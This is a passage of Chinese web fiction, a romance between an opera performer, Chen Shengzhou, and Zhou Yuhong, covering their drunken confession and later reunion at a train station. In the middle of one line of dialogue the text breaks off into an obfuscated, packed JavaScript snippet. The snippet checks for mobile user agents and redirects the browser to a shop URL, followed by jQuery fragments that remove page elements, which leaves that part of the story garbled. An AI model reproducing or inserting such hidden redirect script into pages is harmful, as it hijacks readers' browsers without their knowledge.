“我怎么知道。”周昱虹撇撇嘴一脸没所谓,“他愿意是就是,不愿意装就不是呗。你今天话怎么这么多啊,还东一榔头西一棒槌的。”她抬头望去,面前俊朗秀丽的女人面色一片红润,正趴在桌子上眼神闪烁地望向自己。 “可惜我没扮过梁山伯。”陈嵊舟立身扶着床框做了个抻筋的动作,“诶但我最近也听了那首唱词,我唱给你听。” 陈嵊舟说着把凳子搬到周昱虹身侧,清了清嗓,靠在对方肩上轻声唱道:“天乃蝶之家,地乃蝶之灵,云乃蝶之裳,花乃蝶之魂,但为君之故,翩翩舞到今。” 周昱虹耳朵痒痒的,松松肩膀一笑道:“你扮梁山伯,那我岂不是可以扮……” “不,你别扮祝英台。” “为什么?” “祝英台和梁山伯,没在一起。化蝶也是,没在一起。”她一边说着一边双眼迷离地摆了摆手。 “那我扮什么来配你?” 陈嵊舟酣醉道:“你是周昱虹,我是陈嵊舟。我不是梁山伯,不是柳梦梅,不是滴星,我是陈嵊舟,陈嵊舟只喜欢周昱虹。” “那滴星呢,滴星是谁?” “滴星喜欢上台演戏,我从前很喜欢在台上逢场作戏的感觉,被人欣赏的,努力成果得以呈现的,沉浸在戏曲的世界里,能够被人关注到的,那种油然而生的自豪感觉。不在台上就在练习室,我甚至不想回寝室。那时候,我很享受那些忘记自己的时刻。” “现在呢?” “现在当然还是会期待上台。”陈嵊舟摇摇头,睁开眼睛闪亮亮的:“但我下了台就会有其他想见的人想做的事。” “你想做什么啊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14629098|156257||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” “我想……想第一时间冲下台抱抱你呀。”陈嵊舟腼腆地捂住脸,“一想到你捧着花在等我,我就特开心,特别特别想就这样不用顾忌任何地把你一搂。”她说着随后张开双臂将身边的周昱虹拥了个满怀。 “我这样就特幸福。”陈嵊舟闭着眼睛,搂着周昱虹摇摇晃晃:“像做梦一样。” 周昱虹靠在对方的颈窝里,洗衣粉温和的香气跟陈嵊舟原本的气味混合,她在这种特有的味道里沉浸,闭上眼睛,有一种从未有过的安心:“我也是。” 14人生又何止这样 压力大时我会看恐怖片,让里面的鬼怪帮我吸走身上的怨气,这样一觉醒来我又能成功混入人群,隐瞒清早起来刚诈尸的事实。 ——摘自周昱虹的博客 周昱虹和陈嵊舟又吵架了,这次正巧赶上陈嵊舟演出,周昱虹去深圳出差,两头忙活,没人有时间调和让步,却还能在微信上保持联系。 后来陈嵊舟的同事都知道了,只要看她盯着手机,就逗她:“又跟小妹妹吵架啦?” 陈嵊舟将手机一关,往身后一背:“哪有。” “这几天小妹妹都没来后台给你送花了,怎么没有,你演出她不来不就是跟你吵架了么。” 陈嵊舟一立身:“没有,她出差了,我们关系好着呢,别瞎操心了。”等同事走后立马打开手机发信息:啥时候的高铁回来呀,给个机会去接你呗。 当天晚上,周昱虹坐在高铁上和周璇通电话,跟他说可以不用再给生活费了,随即将最近收到的生活费悉数打了回去。 “小姨,你也不容易呀打工人,我早看出来你根本没中彩票了,骗谁你还骗你大外甥女儿。” 周璇在电话那头自嘲道:“我都不在你眼巴前儿晃,这都被你识破了。” “但我真的特别特别特别感谢你,小姨。” “大外甥女儿,人生何止你眼前那点儿利益,最大的财富可是快乐呀。人有时候不缺钱,缺的是快乐。你小姨我挣的是不多,但拿那点儿钱出来给我外甥去挥霍放松还是有的。大意了,当时就该直接跟你说一个月内钱花不完别来见我,哈哈我也当一回霸道总裁。爽!最近过得怎么样?” “嗯……还行吧。我这几天在深圳出差呢。” “我问你跟滴星呢,陈嵊舟。你俩怎么样啊?” 周昱虹撇撇嘴,漫不经心道:“我都说最近喜欢听越剧,滴星是哪号人啊,早不听昆曲了。” “少来,当初就是她亲手给你拐到江苏去的,现在又说不认识她的,我看那个也是个为老不尊的。不是我什么时候跟你你打电话你俩能不吵架啊……我都不好意思说,整的我也是你来play中的一环似的。” 高铁提示到站,周昱虹下了车。刚出站就看到一个熟悉的身影坐在拦路的石墩子上,扎着习惯性的半马尾,抱着捧花晃来晃去,见到周昱虹后立刻从石墩子上弹起来,张开双臂奔跑过来。 “欢迎!回来!” 周昱虹还没反应过来,就感觉身体腾空被拎起来转了一圈,落地之后脑袋依旧懵懵的:“真有劲……浑身上下你是使不完的劲儿!” 陈嵊舟扭捏做作地一指花束道:“那个啥……给你写了小卡片在花里,看一下呗。” 周昱虹打开小卡片:“诶呀我看看。人是美的,花儿是香的,态度是真的,啧啧就是这字不如其人,真真儿不好看呀。” 陈嵊舟肯定地点点头,故作娇羞,嘴角上扬丝毫不恼:“那是自然没有礼部尚书写得好看。” “我就只有字好看么?”周昱虹接过捧花往前走,陈嵊舟推过行李箱跟上:“当然不止了,您还机智聪慧,如花似玉,人比花娇,你是属于乍一看很好看,仔细一看爆炸好看的那种……” “你也开始蛐蛐我了是吧。” “大人!”陈嵊舟小嘴儿一撇,眉头一皱,泪眼汪汪又开唱了:“冤——枉——啊——” “住口!”周昱虹抽出一支花,轻轻抵在对方下巴上:“别吵了,我现在就把我妈最色的女儿赐给你。” (你不知道的事·完结)